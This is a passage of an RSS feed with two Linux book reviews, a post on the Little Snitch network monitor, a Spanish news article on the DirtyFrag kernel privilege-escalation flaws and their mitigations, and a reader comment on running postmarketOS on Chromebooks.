<title>&#39;Bash Idioms&#39; - Book Review</title>
<link>https://gilesorr.com/blog/bash-idioms.html</link>
<guid isPermaLink="false">knc_aeEhPmWZPoW2rNN6S7CCMz1JnKSBySEQXg==</guid>
<pubDate>Tue, 12 May 2026 00:23:49 +0000</pubDate>
<description>If you write Bash code, read this NOW.</description>
<content:encoded>&lt;p&gt;&lt;em&gt;Bash Idioms&lt;/em&gt;&lt;br/&gt;
    by Carl Albing &amp;amp; JP Vossen&lt;br/&gt;
    2022, O&amp;#39;Reilly, 153p.
    &lt;/p&gt;&lt;p&gt;
    I picked this up on spec from my local library as I write a lot of
    shell scripts, all in Bash; it&amp;#39;s by far my most-used programming
    language.  And this slim book claims to show you how to write better
    scripts.

    &lt;/p&gt;&lt;p&gt;
    This is a book for people who already know Bash: it&amp;#39;s not teaching
    Bash, it&amp;#39;s teaching how to use Bash better once you already know it.
    If you&amp;#39;ve written a few two- and three-line scripts, this isn&amp;#39;t for
    you.  If you&amp;#39;ve written multiple scripts in the the 50-200 line range,
    you need to read this &lt;strong&gt;NOW&lt;/strong&gt;.

    &lt;/p&gt;&lt;p&gt;
    A Bash beginner could read this and it would make sense ... but it
    wouldn&amp;#39;t &lt;em&gt;stick&lt;/em&gt;.  For that, you need to have already done a
    number of these things wrong.  The book tells you how to do so many
    things about Bash &lt;em&gt;right&lt;/em&gt;, and for a person with a history with
    the language, it&amp;#39;ll really hit home.  I took notes all the way through
    and my Bash coding will be significantly improved going forward.

    &lt;/p&gt;&lt;p&gt;
    Let&amp;#39;s see: I didn&amp;#39;t even know the &lt;code&gt;readonly&lt;/code&gt; builtin
    existed.  That&amp;#39;s on me, but now I do.  I&amp;#39;m switching to using &lt;code&gt;[[
        ]]&lt;/code&gt; instead of &lt;code&gt;[ ]&lt;/code&gt; - the only reason to use the
    latter is compatibility with other shells, and the former is better.  I
    now understand the difference between &lt;code&gt;${array[*]}&lt;/code&gt; and
    &lt;code&gt;${array[@]}&lt;/code&gt;.  I also picked up numerous tips on making
    scripts more readable, elegant and simpler.

    &lt;/p&gt;&lt;p&gt;
    I&amp;#39;ll end with my favourite quote from the book.  Their style guide
    starts with &amp;quot;Above all: KISS - Keep It Simple, Stupid!&amp;quot;  Some more
    explanation follows: this isn&amp;#39;t new advice.  But then they provided
    a probably-famous quote I&amp;#39;d never heard before: &amp;quot;The corollary, as
    Brian Kernighan famously said, is that debugging is twice as hard as
    writing the code in the first place, so if your code is as clever as
    you can make it, you are - by definition - not smart enough to debug
    it.&amp;quot;  I&amp;#39;ve never understood those enamoured of &amp;quot;clever&amp;quot; code, but this
    reminds me to continue to try to always write clear and simple code.

    &lt;/p&gt;</content:encoded>
</item>
<item>
<title>&#39;Linux Bible&#39; Eleventh Edition - Book Review</title>
<link>https://gilesorr.com/blog/linux-bible-11th.html</link>
<guid isPermaLink="false">cuMcirGwD4rFXghj-s9S9VLU4J3uYiux0gh-aw==</guid>
<pubDate>Tue, 12 May 2026 00:23:49 +0000</pubDate>
<description>Excellent Linux reference book.</description>
<content:encoded>&lt;p&gt;&lt;em&gt;Linux Bible&lt;/em&gt; Eleventh Edition&lt;br/&gt;
    by Christopher Negus&lt;br/&gt;
    2026, Wiley, 853p.
    &lt;/p&gt;&lt;p&gt;
    This is intended as a reference volume for Linux users.  Clearly a
    popular one as it&amp;#39;s made it to its eleventh edition.  As a long-time
    Linux user ... I sat down and read about half of it.  It&amp;#39;s good to read
    recent, up-to-date material about subjects you&amp;#39;re interested in to stay
    current.  And this one is well constructed, starting with basic Linux
    topics and moving on to more advanced ones as it progresses, describing
    each well before moving on.  Most people will use this more as it was
    intended, as a reference - but if you need it, it&amp;#39;s a damn fine
    reference that will prove very helpful.

    &lt;/p&gt;</content:encoded>
</item>
<item>
<title>&quot;Little Snitch&quot; Reveals Software Phoning Home and Pulling Ads</title>
<link>https://gilesorr.com/blog/little-snitch.html</link>
<guid isPermaLink="false">zQrPkLROZGKXCDLlhwxVJpWXW29cVZcK8zYqbQ==</guid>
<pubDate>Tue, 12 May 2026 00:23:49 +0000</pubDate>
<description>See your software using the network to phone home.</description>
<content:encoded>&lt;p&gt;
    A recent &lt;a href=&quot;https://nerds.xyz/2026/04/little-snitch-linux/&quot;&gt;review&lt;/a&gt;
    pointed me to a Mac software called &amp;quot;Little Snitch&amp;quot; that&amp;#39;s now &lt;a href=&quot;https://obdev.at/products/littlesnitch-linux/download.html&quot;&gt;available
    on Linux&lt;/a&gt;.  I downloaded and installed the Debian package, and found
    the results fascinating.  If you&amp;#39;re interested, you should read &lt;a href=&quot;https://the.unknown-universe.co.uk/privacy-security/little-snitch-linux/&quot;&gt;this
        rebuttal&lt;/a&gt; (pointed out by a friend) before you install it.  I&amp;#39;m
    going to talk about the software before I talk about the problems
    raised in the rebuttal.

    &lt;/p&gt;&lt;p&gt;
    The author of the software has gone to some trouble to provide packages
    for several distros and architectures.  In my case, I needed the Debian
    amd64 package.  The install was as easy as &lt;kbd&gt;apt install
        Downloads/littlesnitch_1.0.5_amd64.deb&lt;/kbd&gt; as root.  The package
    installs a system file and starts the service.  If you run
    &lt;kbd&gt;littlesnitch&lt;/kbd&gt; at the command line (as a regular user) it will
        start your default browser and go to &lt;a href=&quot;http://localhost:3031/index.html&quot;&gt;http://localhost:3031/index.html&lt;/a&gt;.

    &lt;/p&gt;&lt;p&gt;
    Little Snitch does several things, but the most immediately visible
    after you install and activate it is as a passive firewall collecting
    information about outgoing and inbound network traffic.  So you&amp;#39;ll see
    &amp;quot;chromium&amp;quot; or &amp;quot;firefox&amp;quot;, &amp;quot;cron&amp;quot;, &amp;quot;sshd&amp;quot;, &amp;quot;kdeconnectd&amp;quot; (which shouldn&amp;#39;t
    even still be running on my system), etc.  In each case you can expand
    the information to find out where it connected to, and to some extent
    &amp;quot;why.&amp;quot;

    &lt;/p&gt;&lt;p&gt;
    One of the things it made clear to me is what a difference a good ad
    blocker makes.  I have the &amp;quot;uBlock Origin&amp;quot; plugin installed on Firefox,
    but occasionally find it necessary to use Chromium.  And despite my
    barely ever using Chromium and having FF open all day every day,
    Chromium visits more sites and downloads more shit than FF ever does.

    &lt;/p&gt;&lt;p&gt;
    Little Snitch also allows active blocking, with the ability to add
    rules through the web interface.  I haven&amp;#39;t experimented with this yet.

    &lt;/p&gt;&lt;h2&gt;Response to the Rebuttal&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://the.unknown-universe.co.uk/privacy-security/little-snitch-linux/&quot;&gt;the
        rebuttal link&lt;/a&gt; (again).

    &lt;/p&gt;&lt;p&gt;
    The author of this article is unhappy because Little Snitch includes a
    proprietary blob - it&amp;#39;s not fully open source.  And also because they
    consider this is a &amp;quot;solved problem&amp;quot; for Linux as it&amp;#39;s relatively easy
    to manage your network connections at your router.

    &lt;/p&gt;&lt;p&gt;
    I entirely agree with the first point: I didn&amp;#39;t realize that Little
    Snitch wasn&amp;#39;t fully open source, and I don&amp;#39;t like that.  As for the
    second point ... yes, we can manage connections at routers and it&amp;#39;s
    better than installing sniffer-blockers on individual machines.  But
    ... I haven&amp;#39;t seen a Linux solution that makes it this simple to
    determine what&amp;#39;s going on, or this clear to visualize the problem.
    Which I think most people will need to see before they ever get around
    to setting up router-level blocking.

    &lt;/p&gt;&lt;p&gt;
    Maybe they&amp;#39;re right that you should avoid Little Snitch.  I already
    had it installed before I read the article, and will keep it installed
    for a while longer.  I&amp;#39;m finding it eye-opening and a good reminder
    that even on Linux your software does stuff you&amp;#39;re not aware of, and
    occasionally even things that go contrary to your privacy.

    &lt;/p&gt;</content:encoded>
</item>
<item>
<title>DirtyFrag agrava la alarma en Linux: otro fallo permite escalar a root</title>
<link>https://www.opensecurity.es/dirtyfrag-agrava-la-alarma-en-linux-otro-fallo-permite-escalar-a-root/</link>
<guid isPermaLink="false">uKdg8RrYFzPfFPzVVsISwJNB1HSOQl4RifTxOg==</guid>
<pubDate>Mon, 11 May 2026 17:58:44 +0000</pubDate>
<description>La seguridad del kernel Linux atraviesa una de esas semanas que obligan a parar y revisar prioridades. Apenas unos días […]</description>
<content:encoded>&lt;p&gt;La seguridad del kernel Linux atraviesa una de esas semanas que obligan a parar y revisar prioridades. Apenas unos &lt;a href=&quot;https://www.opensecurity.es/copy-fail-la-vulnerabilidad-de-linux-que-permite-escalar-a-root/&quot;&gt;días después de Copy Fail&lt;/a&gt;, la vulnerabilidad &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-43284&quot;&gt;CVE-2026-31431&lt;/a&gt; que ya había puesto en alerta a administradores y equipos cloud, ha aparecido &lt;a href=&quot;https://github.com/V4bel/dirtyfrag&quot;&gt;DirtyFrag&lt;/a&gt;, una nueva cadena de fallos de escalada local de privilegios que permite obtener permisos de root en grandes distribuciones Linux bajo determinadas condiciones.&lt;/p&gt;&lt;p&gt;El caso es especialmente delicado porque combina dos problemas en subsistemas de red del kernel, afecta a piezas presentes o habituales en muchas distribuciones y llegó a hacerse público en un contexto de embargo roto, con prueba de concepto disponible antes de que todas las distribuciones pudieran publicar parches coordinados. Red Hat resume el impacto de forma clara: un usuario con cuenta local podría activar los fallos y ganar privilegios de administrador.&lt;/p&gt;&lt;p&gt;Conviene no exagerar de forma imprecisa. DirtyFrag no es, por sí sola, una vulnerabilidad remota que permita entrar desde Internet en cualquier servidor Linux sin credenciales. Es una LPE, una escalada local de privilegios. Pero esa diferencia no debe rebajar la preocupación. En entornos modernos, conseguir ejecución local no siempre es difícil: puede venir de una web vulnerable, un contenedor comprometido, un runner de CI/CD, una cuenta de hosting, un usuario de baja confianza o una aplicación que ejecuta código de terceros.&lt;/p&gt;&lt;h2&gt;DirtyFrag: de usuario sin privilegios a root&lt;/h2&gt;&lt;p&gt;DirtyFrag fue descrita por Hyunwoo Kim, conocido como V4bel, como una clase de vulnerabilidades que encadena dos escrituras en la caché de páginas del kernel: una en xfrm-ESP, vinculada a IPsec ESP, y otra en RxRPC. El investigador la relaciona con la misma familia conceptual de Dirty Pipe y Copy Fail: errores lógicos deterministas que no dependen de una ventana de carrera, no requieren un fallo de timing y tienen una tasa de éxito alta cuando se cumplen las condiciones.&lt;/p&gt;&lt;p&gt;La parte xfrm-ESP ya ha recibido el identificador CVE-2026-43284 y cuenta con corrección en el árbol principal del kernel, además de referencias en ramas estables. La descripción del NVD explica que el problema se produce cuando páginas asociadas mediante &lt;code&gt;MSG_SPLICE_PAGES&lt;/code&gt; acaban tratándose como fragmentos ordinarios en determinadas rutas de datagramas IPv4/IPv6, lo que permite que ESP descifre en el sitio datos que no pertenecen de forma privada al &lt;code&gt;skb&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;La segunda parte, RxRPC Page-Cache Write, aparece reservada como CVE-2026-43500 para seguimiento. Según la información publicada por el repositorio del investigador, en el momento de la actualización del 8 de mayo no existía todavía parche en ningún árbol para esa mitad de la cadena. AlmaLinux, por su parte, indicaba que los kernels corregidos estaban en pruebas y que todos sus lanzamientos soportados estaban afectados por la parte ESP.&lt;/p&gt;&lt;p&gt;Lo preocupante no es solo que haya un bug. Linux tiene bugs, como cualquier software complejo. Lo preocupante es el patrón. DirtyFrag llega después de Copy Fail, otro fallo de escritura controlada en caché de páginas que permitía a un usuario local sin privilegios escalar a root mediante el subsistema criptográfico del kernel. NVD describe Copy Fail como una corrección en &lt;code&gt;algif_aead&lt;/code&gt; para abandonar operaciones in-place que no aportaban beneficio y añadían complejidad peligrosa.&lt;/p&gt;&lt;h2&gt;Una familia de fallos que toca una zona muy sensible&lt;/h2&gt;&lt;p&gt;Dirty Pipe ya mostró en 2022 lo peligrosa que puede ser una escritura indebida sobre páginas respaldadas por archivos de solo lectura. El NVD recuerda que CVE-2022-0847 fue incluida en el catálogo KEV de CISA y permitía a usuarios locales escribir en páginas de la page cache para escalar privilegios. DirtyFrag y Copy Fail no son el mismo bug, pero pertenecen a una conversación técnica parecida: pequeños errores de propiedad, copia o escritura en memoria pueden convertirse en una escalada completa a root.&lt;/p&gt;&lt;p&gt;Esto tiene implicaciones fuertes para cloud, Kubernetes, plataformas multiusuario, entornos de hosting, laboratorios, CI/CD y servidores donde usuarios o procesos no completamente confiables pueden ejecutar código. Microsoft, al analizar Copy Fail, advertía de que una explotación con éxito podía derivar en escalada a root, facilitar escapes de contenedor, comprometer entornos multi-tenant y favorecer movimiento lateral en infraestructuras compartidas.&lt;/p&gt;&lt;p&gt;La misma lógica se aplica a DirtyFrag. Una escalada local no empieza la intrusión, pero puede convertir una intrusión limitada en compromiso total del host. Un atacante que entra como usuario de servicio, como proceso dentro de un contenedor o como cuenta con pocos permisos puede usar una LPE fiable para romper el modelo de aislamiento. En servidores compartidos, esa diferencia es enorme.&lt;/p&gt;&lt;p&gt;Por eso no basta con decir “requiere acceso local”. En 2026, el acceso local puede venir de muchos sitios. Muchas organizaciones ejecutan código de terceros en pipelines, funciones serverless, contenedores temporales, plataformas de datos, notebooks, herramientas de automatización o servicios expuestos. Si el kernel permite pasar de ese punto inicial a root, el riesgo sube de nivel.&lt;/p&gt;&lt;h2&gt;Qué pueden hacer los administradores mientras llegan parches&lt;/h2&gt;&lt;p&gt;La prioridad es seguir los avisos de cada distribución y actualizar el kernel en cuanto haya paquetes disponibles. En este tipo de fallos, la diferencia entre “tengo el parche preparado” y “lo he desplegado y reiniciado” es crítica. Los equipos deben comprobar versiones reales en ejecución, no solo paquetes instalados, porque un servidor puede tener el kernel actualizado en disco y seguir ejecutando el anterior hasta reiniciar.&lt;/p&gt;&lt;p&gt;Cuando no haya parche disponible o no pueda aplicarse de inmediato, las mitigaciones deben centrarse en reducir superficie. El repositorio de DirtyFrag recomienda deshabilitar temporalmente los módulos &lt;code&gt;esp4&lt;/code&gt;, &lt;code&gt;esp6&lt;/code&gt; y &lt;code&gt;rxrpc&lt;/code&gt; si no son necesarios, además de limpiar la caché de páginas o reiniciar después de pruebas o posibles ejecuciones del exploit. Red Hat también recomienda medidas generales de endurecimiento que limiten acceso local, como restringir SSH, mantener SELinux en enforcing, usar políticas de seguridad por defecto, ejecutar cargas como no root y limitar accesos de depuración en clústeres a administradores de confianza.&lt;/p&gt;&lt;p&gt;En Kubernetes y plataformas de contenedores, la revisión debe ser más estricta. Hay que reducir contenedores privilegiados, revisar capacidades Linux, limitar &lt;code&gt;hostPath&lt;/code&gt;, controlar el acceso a nodos, restringir runners compartidos y tratar cualquier workload no confiable como un punto potencial de salto. En CI/CD, donde a menudo se ejecuta código de ramas, pull requests o paquetes externos, DirtyFrag y Copy Fail deberían activar una revisión urgente de aislamiento.&lt;/p&gt;&lt;p&gt;También es recomendable revisar telemetría y EDR, aunque con una limitación importante: los fallos basados en corrupción de page cache pueden dejar menos rastro que modificaciones persistentes en disco. En Copy Fail, CISA incorporó CVE-2026-31431 a su catálogo de vulnerabilidades explotadas y fijó como acción aplicar mitigaciones de proveedor o dejar de usar el producto si no había mitigaciones disponibles.&lt;/p&gt;&lt;h2&gt;Linux no está “roto”, pero el aviso es serio&lt;/h2&gt;&lt;p&gt;Decir que la seguridad de Linux está rota puede ser comprensible como reacción emocional, pero no ayuda a tomar buenas decisiones. Linux sigue siendo uno de los sistemas más auditados, más parcheados y más observados del mundo. Precisamente por eso estos fallos se descubren, se discuten y se corrigen públicamente. El problema no es que Linux sea peor que otros sistemas. El problema es que el kernel es una pieza inmensa, con décadas de compatibilidad, optimizaciones y subsistemas muy difíciles de razonar.&lt;/p&gt;&lt;p&gt;La diferencia ahora está en la velocidad. Copy Fail fue hallado con ayuda de análisis asistido por IA, según Theori, y DirtyFrag aparece inmediatamente después como una ampliación de la misma clase de problemas. Esto apunta a un escenario nuevo: las familias de bugs se exploran más rápido, los parches públicos pueden dar pistas para variantes y las pruebas de concepto circulan antes de que muchas organizaciones hayan terminado de actualizar.&lt;/p&gt;&lt;p&gt;Para los defensores, la respuesta no puede ser esperar. Hay que asumir que aparecerán más variantes. El kernel Linux, como cualquier base crítica, necesita más auditoría continua, más fuzzing, más análisis con modelos de IA, más pruebas de regresión y ciclos de parcheo más ágiles. Y las empresas necesitan menos confianza ciega en que “esto no nos afecta” y más inventario real de kernels, módulos cargados, workloads con usuarios no confiables y exposición multi-tenant.&lt;/p&gt;&lt;p&gt;DirtyFrag no es solo otro nombre llamativo en la saga de los “Dirty”. Es un recordatorio de que la seguridad moderna ya no se rompe solo por un servicio expuesto en Internet. También se rompe por pequeñas decisiones internas de memoria, compartición de páginas, fast paths de rendimiento y módulos poco visibles que, combinados, permiten tomar el control completo del sistema.&lt;/p&gt;&lt;p&gt;Linux seguirá siendo la base de cloud, contenedores, servidores, edge, telecomunicaciones, supercomputación e inteligencia artificial. Justo por eso estos fallos importan tanto. No porque haya que abandonar Linux, sino porque hay que tratarlo como lo que es: infraestructura crítica que requiere parcheo rápido, defensa en profundidad y una disciplina operativa mucho más exigente.&lt;/p&gt;&lt;p&gt;Preguntas frecuentes&lt;/p&gt;&lt;p&gt;&lt;strong&gt;¿Qué es DirtyFrag?&lt;/strong&gt;&lt;br/&gt;DirtyFrag es una cadena de vulnerabilidades de escalada local de privilegios en el kernel Linux que combina fallos en xfrm-ESP/IPsec y RxRPC para permitir que un usuario local pueda obtener permisos de root en determinadas distribuciones.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;¿DirtyFrag permite atacar un servidor Linux desde Internet?&lt;/strong&gt;&lt;br/&gt;No directamente. Es una vulnerabilidad local, por lo que el atacante necesita ejecutar código en el sistema. Aun así, es muy peligrosa en servidores compartidos, contenedores, CI/CD, hosting, Kubernetes y entornos donde pueda existir ejecución de código no confiable.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;¿Hay parche disponible?&lt;/strong&gt;&lt;br/&gt;La parte xfrm-ESP tiene asignado CVE-2026-43284 y ya cuenta con correcciones en upstream y ramas estables del kernel. La parte RxRPC aparece reservada como CVE-2026-43500 y su disponibilidad de parche depende del estado de cada árbol y distribución.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;¿Qué deben hacer los administradores?&lt;/strong&gt;&lt;br/&gt;Actualizar el kernel en cuanto la distribución publique parches, reiniciar para cargar la versión corregida, revisar módulos afectados, limitar acceso local y endurecer entornos multiusuario, contenedores y pipelines CI/CD.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>&amp;#8220;My favorite device is a Chromebook, without ChromeOS&amp;#8221;</title>
<link>https://www.osnews.com/story/144897/my-favorite-device-is-a-chromebook-without-chromeos/</link>
<guid isPermaLink="false">u25YtZSM3DCMyYkOTiy-T0ge6H5mQEk5TE3BAw==</guid>
<pubDate>Mon, 11 May 2026 10:55:14 +0000</pubDate>
<description>Alfmanverbose=1Thom Holwerda,</description>
<content:encoded>&lt;span&gt;&lt;a href=&quot;https://osnews.com/profile/?user=Alfman&quot;&gt;Alfman&lt;/a&gt;&lt;/span&gt;&lt;span&gt;verbose=1&lt;/span&gt;&lt;p&gt;Thom Holwerda,&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If you’re sick of Chrome OS on your Chromebook, or can find a Chromebook for cheap somewhere but don’t actually want to use Chrome OS, have you considered postmarketOS?&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Yes, very much so!&lt;/p&gt;&lt;p&gt;I had a chromebook secondhand. My hopes were very high of reprogramming cheap chromebook hardware using programming cables to unlock it and install a better unrestricted OS. It wasn’t until I had it in hand that I realized that I had been misinformed about the ability to flash a new OS on generic chromebooks. That’s not the case, only select chromebooks work and jailbreaking/alt OS kind of mirrors the mess we see on android – it sucks on a good day. In retrospect it was foolish of me to believe things were less locked down on typical chromebooks, but I didn’t know better at the time.&lt;/p&gt;&lt;p&gt;The link provides six chromebook laptops compatible with this project, and that is good to know. It still irks me though that so many chromebooks are becoming e-waste with many millions more in the coming years and not being able to make use of them because while the hardware is fine, so few models can have the OS be DIY upgraded by the owner. Ugh.&lt;/p&gt;&lt;p&gt;It’s just wishful thinking I know, but these tech companies need to be given a legal ultimatum: unlock devices for owners at EOL or else be forced to pay a tax for creating e-waste by means of depriving owners of the keys needed to support the product. Obviously manufacturers the world over are against this, but frankly they don’t deserve to be given another inch on the e-waste they’ve inflicting on the rest of society for decades. It’s inexcusable that these companies keep getting away with it. If the costs of e-waste were born by the companies like google and apple directly responsible for depriving owner rights, they’d suddenly see to it that the problem actually got fixed. We know with 100% certainty that without  incentives to do that right thing, the problem will just continue indefinitely.&lt;/p&gt;&lt;p&gt;Anyray ranting about ownership rights aside, postmarketOS looks pretty neat! I might try to give it a go if I can find the appropriate hardware.&lt;/p&gt;&lt;div&gt;
&lt;a href=&quot;https://www.osnews.com/wp-login.php?redirect_to=https%3A%2F%2Fwww.osnews.com%2Fstory%2F144897%2Fmy-favorite-device-is-a-chromebook-without-chromeos%2F&quot;&gt;Log in to Reply&lt;/a&gt;&lt;/div&gt;</content:encoded>
</item>
</channel>
</rss>
